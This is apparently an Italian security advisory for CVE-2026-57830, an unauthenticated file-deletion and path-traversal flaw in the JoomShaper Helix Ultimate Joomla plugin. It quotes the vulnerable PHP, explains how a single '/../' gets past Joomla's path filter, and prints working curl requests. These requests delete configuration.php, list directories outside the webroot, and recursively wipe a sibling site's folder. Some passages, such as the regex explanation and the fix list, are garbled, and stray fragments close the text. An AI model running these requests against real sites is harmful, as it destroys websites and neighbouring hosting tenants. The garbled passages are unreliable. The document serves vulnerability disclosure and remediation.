
Eliminazione arbitraria non autenticata di file/cartelle in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
Questa è una vulnerabilità confermata di DoS + accesso cross-tenant al filesystem, NON RCE. Una teoria di escalation RCE (cancellare configuration.php per riesporre l'installer di Joomla) è stata testata dal vivo e smentita — vedi "Escalation RCE — testata e smentita" sotto. Non rappresentare questo come RCE in alcun report senza prima derivare una vera catena.
Aggiornamento di gravità (2026-07-06, secondo passaggio): il parametro path NON è contenuto in modo sicuro nella webroot di Joomla come inizialmente valutato — il filtro di input PATH di Joomla non blocca un singolo componente di traversal /../, quindi questo bug raggiunge (lettura: elenco completo directory; scrittura: cancellazione file o cancellazione ricorsiva contenuti cartella) qualsiasi cosa sul filesystem a cui l'utente del server web può accedere, non solo file all'interno dell'installazione di Joomla. Su qualsiasi configurazione di hosting condiviso dove più siti/tenant vivono come directory sorelle sotto lo stesso utente del sistema operativo (estremamente comune: cPanel "addon domains", sottoscrizioni Plesk che condividono un utente di sistema, hosting economici), un singolo sito basato su Helix-Ultimate consente a un visitatore anonimo di distruggere ogni altro sito sullo stesso account. Vedi "Path traversal escapes JPATH_ROOT entirely" sotto per la prova dal vivo.
Componente: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), fornito in bundle con praticamente ogni template JoomShaper per Joomla (basato su Helix Ultimate).
Versione testata: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD al 2026-07, ultimo push 2026-06-30)
Autore: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php espone deleteMedia(), getFolders() e createFolder() attraverso l'hook di dispatch com_ajax di Joomla in helixultimate.php::onAfterRoute(). Questi tre metodi chiamano solo Session::checkToken() (un semplice controllo CSRF, soddisfatto dal proprio token di sessione di qualsiasi visitatore anonimo — raccoglibile dall'HTML della homepage del sito) — nessun controllo authorise() / login. Questo è incoerente con il metodo gemello uploadMedia() nella stessa classe, che correttamente richiede core.edit su com_templates.
Poiché si tratta di un plugin di sistema, onAfterRoute() viene eseguito su ogni richiesta indipendentemente dal template attualmente attivo — il percorso di codice vulnerabile è raggiungibile fintanto che il plugin è installato e abilitato (cosa che è, per impostazione predefinita, su qualsiasi sito che utilizza un template JoomShaper basato su Helix Ultimate).
plugins/system/helixultimate/helixultimate.php (circa linea 464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
$path passa attraverso il filtro di input PATH di Joomla (InputFilter::cleanPath()). Due cose indipendenti rendono questo pericoloso:
path viene risolto direttamente sotto JPATH_ROOT, quindi qualsiasi percorso assoluto dalla root (/configuration.php, /administrator/..., /media/...) è già raggiungibile.cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) consente esattamente una sequenza di punti/trattini/caratteri alfanumerici posizionata subito dopo il blocco iniziale [A-Za-z0-9_/-]+ — e una / iniziale da sola soddisfa quel blocco iniziale, quindi una stringa come /../sibling_dir corrisponde pulitamente: / (blocco 1), .. (la sequenza di punti consentita), (un normale segmento finale). Il filtro è stato scritto per rifiutare un segmento che un nuovo componente con un punto, ma non ha mai previsto un singolo posizionato direttamente dopo il primo carattere della stringa. Concatenare NON sopravvive (ogni successivo segmento dopo la prima sequenza di punti deve iniziare con un carattere non punto) — quindi la fuga è limitata esattamente a un livello di directory sopra , ma tutto ciò che sta al di sotto di quel livello (profondità arbitraria) è poi raggiungibile normalmente, poiché i segmenti successivi sono solo normali componenti di percorso senza punti.configuration.php → interruzione istantanea e totale del sito (errore fatale "No configuration"), una richiesta HTTP, autenticazione zero.type=folder) → ad esempio /administrator, /components, /media → molto più distruttiva, distrugge effettivamente l'installazione.view-media (Media::getFolders()): elenca tutti i file immagine, tutti i nomi delle sottocartelle e i percorsi assoluti del server sotto qualsiasi percorso relativo alla root, nessuna autenticazione richiesta (usato sotto come segnale di rilevamento sicuro).Testato contro un'istanza Docker usa e getta (Joomla 5.4.6 + plugin Helix Ultimate 2.2.6, installazione fresca, sessione browser completamente anonima — nessun login, nessun cookie tranne quello che Joomla rilascia ad ogni visitatore):
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
Creata una directory sorella della webroot di Joomla (/var/www/canary_sibling, sorella di /var/www/html), di proprietà dello stesso utente del server web (www-data) per rispecchiare una realistica configurazione di hosting condiviso, popolata con un file, un'immagine e una sottodirectory:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "<csrf-token>=1"
{"status":true, "path":"/../canary_sibling",
"images":["/var/www/html/../canary_sibling/proof.png"],
"folders":["subdir"], ...}
Lettura/enumerazione completa di una directory completamente esterna all'installazione di Joomla, inclusi i percorsi assoluti del server risolti, con autenticazione zero.
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "type=folder" \
--data-urlencode "<csrf-token>=1"
Risultato: ogni file all'interno di canary_sibling (il file normale, l'immagine e la sottodirectory) è stato cancellato. Solo la cartella canary_sibling ora vuota al livello superiore è sopravvissuta, e solo perché in questo laboratorio si trovava direttamente sotto /var/www, di proprietà di root — rimuovere la voce della directory vuota richiede il permesso di scrittura sul suo genitore, che www-data non ha su /var/www. Su una reale configurazione di hosting condiviso (ad esempio /home/user/domains/siteA.com/public_html e /home/user/domains/siteB.com/public_html come vere sorelle, entrambe di proprietà end-to-end dello stesso utente dell'account), quell'ultima barriera non esiste e l'intera struttura di directory del sito sorella è rimovibile.
L'ovvia teoria successiva era: su un sito in cui installation/ non è mai stata rimossa dopo l'installazione, la cancellazione di configuration.php renderebbe nuovamente raggiungibile la procedura guidata di installazione, consentendo a un attaccante di completarla e creare un nuovo Super Utente. Questo è stato testato direttamente in laboratorio e non regge:
installation/ è stata copiata di nuovo nella webroot (simulando un sito che ha dimenticato di rimuoverla) — configuration.php era ancora presente e valido a questo punto.302 Found -> /installation/index.php per ogni singola richiesta, incluso il POST dell'exploit a option=com_ajax&helix=ultimate&...&action=delete-media. Il percorso di codice vulnerabile non viene mai eseguito in questo stato — il core di Joomla interrompe tutto prima.installation/ è presente: il sito è già completamente aperto a takeover per qualsiasi visitatore, indipendentemente da questa vulnerabilità — si tratta di una configurazione errata preesistente e non correlata di Joomla, non qualcosa che questo bug causa o per cui è necessario.installation/ è assente (lo stato normale e sicuro): questa vulnerabilità può solo cancellare file, non può creare nuovamente la cartella installation/ — non esiste un modo per riesporre l'installer da una primitiva di sola cancellazione.Conclusione: nessuna combinazione di stati trasforma questo in RCE. Il tetto di impatto confermato e onesto è DoS completo del sito non autenticato, incondizionato e garantito (più la divulgazione di informazioni non autenticata sopra menzionata). Questo è già un risultato di gravità Critica di per sé e non necessita di una rivendicazione RCE gonfiata.
createFolder() NON è raggiungibile senza autenticazione (bozza precedente errata)Una versione precedente di questo scritto sosteneva che anche Media::createFolder() fosse raggiungibile senza autenticazione (come terza primitiva insieme a cancellazione/lettura). Ciò era errato ed è stato corretto dopo un esame completo del cablaggio di dispatch del plugin:
createFolder(), e i veri sink di scrittura del contenuto del file nel codebase (Request.php: fwrite(), File::write() per file di stile template/webfonts/cache CSS), risiedono tutti in plugins/system/helixultimate/src/Platform/Request.php, inviati solo tramite Platform::handleRequests() <- onAfterRespond().onAfterRespond() richiede esplicitamente $this->app->isClient('administrator'), e onAfterRoute() reindirizza separatamente qualsiasi visitatore non autenticato prima di quel punto. Questo percorso è genuinamente autenticato da amministratore — confermato leggendo la condizione di gate esatta, non solo l'assenza di una chiamata authorise() all'interno del metodo stesso (a differenza dei lato sito deleteMedia()/getFolders(), che non hanno davvero alcun gate).Set di capacità non autenticate confermate, finale: solo cancellazione (file o cartella ricorsiva) + lettura (elenco cartelle/immagini). Nessuna primitiva di scrittura di contenuto non autenticata esiste in questo plugin. Questo è precisamente il motivo per cui non è stata trovata alcuna catena RCE anche dopo aver cercato specificamente una — RCE ha fondamentalmente bisogno di una primitiva di scrittura, e questa classe di bug non ne ha una.
helix_ultimate_detect.pyNon distruttivo. Usa action=view-media (elenco cartelle/file) come segnale di prova — non cancella mai nulla.
helix_ultimate_delete_poc.py (nome mantenuto per continuità; conferma solo DoS)Distruttivo. Richiede esplicitamente --delete <path> per toccare qualsiasi cosa. Il flag --rce cancella configuration.php e sonda /installation/ puramente per verificare se quella cartella si trova già ad essere presente (nel qual caso il sito era indipendentemente completamente aperto indipendentemente da questo bug) — non rappresenta una reale escalation causata da questa vulnerabilità; vedi "Escalation RCE — testata e smentita" sopra. Usare solo con autorizzazione scritta.
Sono necessarie due correzioni indipendenti, una sola delle quali fermerebbe già questo:
uploadMedia() già ha a deleteMedia() e getFolders() in src/Platform/Media.php — almeno core.edit/core.delete su com_templates (o com_media, seguendo lo schema di Blog::remove_image()), prima di eseguire qualsiasi operazione sul filesystem.Amin İsayev / Proxima Cyber Security — 2026. Solo a scopo educativo / test autorizzati.
/sibling_dir/…..../../../…JPATH_ROOTisClient('site')) in onAfterRoute() collega solo cinque azioni: upload-blog-image, remove-blog-image, view-media (Media::getFolders), delete-media (Media::deleteMedia), upload-media (Media::uploadMedia, che controlla core.edit/com_templates). create-folder non è tra queste.